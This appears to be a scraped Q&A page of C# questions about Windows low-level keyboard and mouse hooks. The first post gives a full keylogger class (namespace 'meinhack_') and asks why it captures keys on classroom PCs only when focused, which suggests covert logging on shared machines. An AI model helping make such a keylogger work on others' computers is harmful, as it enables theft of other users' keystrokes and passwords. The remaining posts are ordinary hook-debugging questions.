Incorrect work of keylogger (C #) - c#

On my computer, and on few of other computers (laptops, if it important) the program works, but on all PCs in our classroom - it works only if the console application window is in focus.
Of course on the PC user does not have full rights, but that in fact should not interfere with low-level hooks? Moreover, I specifically created a user account with limited rights on my laptop and everything worked right.
On some forums I was told that it could be due to the bit width of programs. What do you think about it?
Here is the code of the keylogger class.
P.S. Functions GetSymbolENG and GetSymbolRUS is just a switch-case for the Russian layout and additional symbols.
P.S.S Sorry for my english.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Threading;
// dll import + keylogger
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace meinhack_
{
class KeyLogger
{
const int WH_KEYBOARD_LL = 13;
const int HC_ACTION = 0;
private const int WM_KEYDOWN = 0x0100;
private static IntPtr _hookID = IntPtr.Zero;
public static string hookedKeys = "";
public KeyLogger()
{
Console.Out.WriteLine("Hook created...");
}
private static IntPtr SetHook(KeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
public void SetHook()
{
Console.Out.WriteLine("Trying to set hook...");
_hookID = SetHook(Callback);
Application.Run();
Console.Out.WriteLine("Hook right...");
}
~KeyLogger()
{
UnhookWindowsHookEx(_hookID);
}
public delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
KeyboardProc Callback = KeyboardHookCallback;
static IntPtr KeyboardHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
Console.Out.WriteLine("Trying to recognize layout...");
string text = GetKeyboardLayoutId();
Console.Out.WriteLine("Layout recognized...");
int vkCode = Marshal.ReadInt32(lParam);
Console.Out.WriteLine("Trying to get KeyState of CapsLock and Shift layout...");
bool capsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0;
bool numLock = (((ushort)GetKeyState(0x90)) & 0xffff) != 0;
bool scrollLock = (((ushort)GetKeyState(0x91)) & 0xffff) != 0;
bool shift = (GetAsyncKeyState(Keys.LShiftKey) != 0 || GetAsyncKeyState(Keys.RShiftKey) != 0);
Console.Out.WriteLine("KeyState of CapsLock and Shift got...");
Console.Out.WriteLine("Trying to write key...");
if (text == "RUS") hookedKeys += GetSymbolRUS((Keys)vkCode, shift, capsLock).ToString();
else hookedKeys += GetSymbolENG((Keys)vkCode, shift, capsLock).ToString();
Console.Out.WriteLine("Key written...");
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
public string GetHookedKeys()
{
return hookedKeys;
}
public void ResetHookedKeys()
{
hookedKeys = "";
}
#region dllimport
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hInstance, int threadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("kernel32.dll")]
private static extern IntPtr LoadLibrary(string dllToLoad);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GetKeyboardLayout(int WindowsThreadProcessID);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int GetWindowThreadProcessId(IntPtr handleWindow, out int lpdwProcessID);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
private static extern short GetKeyState(int keyCode);
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
private static extern short GetAsyncKeyState(Keys key);
#endregion
#region recognizeLayout
private static InputLanguageCollection _InstalledInputLanguages;
private static int _ProcessId;
private static string _CurrentInputLanguage;
private static string GetKeyboardLayoutId()
{
_InstalledInputLanguages = InputLanguage.InstalledInputLanguages;
IntPtr hWnd = GetForegroundWindow();
int WinThreadProcId = GetWindowThreadProcessId(hWnd, out _ProcessId);
IntPtr KeybLayout = GetKeyboardLayout(WinThreadProcId);
for (int i = 0; i < _InstalledInputLanguages.Count; i++)
{
if (KeybLayout == _InstalledInputLanguages[i].Handle)
{
_CurrentInputLanguage = _InstalledInputLanguages[i].Culture.ThreeLetterWindowsLanguageName.ToString();
}
}
return _CurrentInputLanguage;
}
#endregion
}
}

Related

Disable a specific keys when a specific process detected C#

I'm trying to disable specific keys when a specific process is detected, but for a reason, it's not set the hook correctly so it's not working.
The code should do:
Detect if notepad.exe has been detected (already coded the function but i didnt write it here).
Now from the checking thread, it will start the hook thread which will implement a low-level keyboard hook to prevent the user from using specific keys into the target process.
here is the code that I'm using:
[StructLayout(LayoutKind.Sequential)]
private struct KBDLLHOOKSTRUCT
{
public Keys key;
public int scanCode;
public int flags;
public int time;
public IntPtr extra;
}
//System level functions to be used for hook and unhook keyboard input
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool UnhookWindowsHookEx(IntPtr hook);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, IntPtr wp, IntPtr lp);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern short GetAsyncKeyState(Keys key);
//Declaring Global objects
private static IntPtr ptrHook;
private static LowLevelKeyboardProc objKeyboardProcess;
private const int WH_KEYBOARD_LL = 13;
private const int VK_CONTROL = 0x11;
public void Control()
{
MessageBox.Show("Control thread has been started");
ProcessModule objCurrentModule = Process.GetProcessesByName("notepad")[0].MainModule;
objKeyboardProcess = new LowLevelKeyboardProc(captureKey);
SetWindowsHookEx(13, objKeyboardProcess, GetModuleHandle(objCurrentModule.ModuleName), 0);
}
public static IntPtr captureKey(int nCode, IntPtr wp, IntPtr lp)
{
if (nCode >= 0)
{
KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lp, typeof(KBDLLHOOKSTRUCT));
MessageBox.Show("ncode >=0 !");
if (objKeyInfo.key == Keys.G || objKeyInfo.key == Keys.H || objKeyInfo.key == Keys.S) // Disabling Windows keys
{
MessageBox.Show("One of the specific keys has been detected!");
return (IntPtr)1;
}
}
return CallNextHookEx(ptrHook, nCode, wp, lp);
}
public static void Dispose()
{
UnhookWindowsHookEx(ptrHook);
}
public static void Hide()
{
ProcessModule objCurrentModule = Process.GetCurrentProcess().MainModule;
objKeyboardProcess = new LowLevelKeyboardProc(captureKey);
ptrHook = SetWindowsHookEx(13, objKeyboardProcess, GetModuleHandle(objCurrentModule.ModuleName), 0);
}
public Form1()
{
InitializeComponent();
Thread cont = new Thread(Control);
cont.start();
}

Running a global mouse hook in a background thread

I am running a global mouse hook from the main UI thread but wanted to run it in a background thread (comments appreciated), not sure how to achieve this. I am running some UIA code on background MTA thread but on updating the UI on the main thread the mouse becomes somewhat jerky when the user interface is being built for my application. I have tried cancelling all UIA event handlers in the application which were running on background MTA threads but still get the jerky mouse problem
Many thanks
MouseHook.MouseAction += new EventHandler(MouseHook_MouseAction);
MouseHook.Start();
private void MouseHook_MouseAction(object sender, EventArgs e)
{
//Do whatever
}
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
namespace myApp
{
public static class MouseHook
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public static event EventHandler MouseAction = delegate { };
private const int WH_MOUSE_LL = 14;
private enum MouseMessages
{
WM_LBUTTONDOWN = 0x0201,
WM_LBUTTONUP = 0x0202,
// WM_MOUSEMOVE = 0x0200,
//WM_MOUSEWHEEL = 0x020A,
WM_RBUTTONDOWN = 0x0204,
WM_RBUTTONUP = 0x0205
}
[StructLayout(LayoutKind.Sequential)]
private struct POINT
{
public int x;
public int y;
}
[StructLayout(LayoutKind.Sequential)]
private struct MSLLHOOKSTRUCT
{
public POINT pt;
public uint mouseData;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
public static void Start()
{
_hookID = SetHook(_proc);
}
public static void stop()
{
UnhookWindowsHookEx(_hookID);
}
private static LowLevelMouseProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static IntPtr SetHook(LowLevelMouseProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
IntPtr hook = SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle("user32"), 0);
if (hook == IntPtr.Zero) throw new System.ComponentModel.Win32Exception();
return hook;
}
}
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && (MouseMessages.WM_LBUTTONDOWN == (MouseMessages)wParam || MouseMessages.WM_RBUTTONDOWN == (MouseMessages)wParam ))
{
MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));
MouseAction(null, new EventArgs());
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
}

global mouse hook in console application

I want to get acquainted with WinAPI in C#.
I need to write a global mouse hook in the console application. I found the code that does this job. But I have a console application, and I shouldn't use Application.Run () from Windows.Forms.
I need to forward messages about the coordinates of the mouse from winAPI directly to the console window without winForms. How can i do this?
class InterceptMouse
{
private static LowLevelMouseProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Main()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
private static IntPtr SetHook(LowLevelMouseProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_MOUSE_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && MouseMessages.WM_MOUSEMOVE == (MouseMessages)wParam)
{
MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));
Console.WriteLine(hookStruct.pt.x + ", " + hookStruct.pt.y);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private const int WH_MOUSE_LL = 14;
private enum MouseMessages
{
WM_LBUTTONDOWN = 0x0201,
WM_LBUTTONUP = 0x0202,
WM_MOUSEMOVE = 0x0200,
WM_MOUSEWHEEL = 0x020A,
WM_RBUTTONDOWN = 0x0204,
WM_RBUTTONUP = 0x0205
}
[StructLayout(LayoutKind.Sequential)]
private struct POINT
{
public int x;
public int y;
}
[StructLayout(LayoutKind.Sequential)]
private struct MSLLHOOKSTRUCT
{
public POINT pt;
public uint mouseData;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
Add system.windows.forms as a reference to your project.
using System.Windows.Forms;
It should be work then.

Global low level keyboard hook freezing in c# .net 3.5

i have a frustrating problem with registering global hook.
I am using this class in my windows application:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Hook()
{
_hookID = SetHook(_proc);
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
MessageBox.Show("Test");
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
Here is Program.cs
namespace TestHooks
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
InterceptKeys.Hook();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
Everything works (MessageBox pops up) but windows freezes for a moment and beeper beeps. The problem doesn't occur on Windows 7 just on Vista. Any suggestions please?
You cannot use MessageBox in your code. It blocks execution, the keyboard goes dead. Use Console.WriteLine() for example, output goes to the Visual Studio Output window.
Beware that this code won't work anymore on .NET 4.0, GetModuleHandle() will return NULL.

C# Low-Level Keyboard Hook Not Working

This is the code for my keyhooking class, but it doesn't work. I was wondering if someone can tell me why? I'm instansiating it in another Console application. The debug message gives the proper output, but the keyboard hook simply doesn't catch keys. I was hoping if someone could tell me why.
namespace GlobalHooks
{
public class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static IntPtr _hookID = IntPtr.Zero;
private static String keysHooked = String.Empty;
private static LowLevelHookProc keyboardHook;
public delegate IntPtr LowLevelHookProc(int nCode, Int32 wParam, IntPtr lParam);
public delegate void KeyboardHandleFunction(int vkCode);
public static event KeyboardHandleFunction keyHookReturn;
public InterceptKeys(KeyboardHandleFunction func)
{
keyHookReturn = func;
keyboardHook = new LowLevelHookProc(HookCallback);
}
public static void debug()
{
Console.Write("\n[Success!] _hookID: "+_hookID);
Console.Write("\n[Success!] keyboardProc: "+keyboardHook.ToString());
}
private IntPtr SetupHook(LowLevelHookProc keyProcess)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, keyProcess,
GetModuleHandle(curModule.ModuleName), 0);
}
}
public void Hook()
{
_hookID = SetupHook(keyboardHook);
debug();
}
public void Unhook()
{
UnhookWindowsHookEx(_hookID);
}
public static void OnCallbackReturn(int nCode)
{
if (keyHookReturn != null)
{
keyHookReturn(nCode);
}
else
{
throw new Exception();
}
}
public static IntPtr HookCallback(int nCode, Int32 wParam, IntPtr lParam)
{
Console.WriteLine("Calledback"Wink;
if (nCode >= 0 && wParam == WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
OnCallbackReturn(nCode);
}
return CallNextHookEx((int)_hookID, nCode, wParam, lParam);
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelHookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(int hhk, int nCode, int wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
Are you calling Application.Run in your Main function?
The standard Console thread doesn't have a message loop, which is required for hooks to work properly, Application.Run takes care of that.

Categories

Resources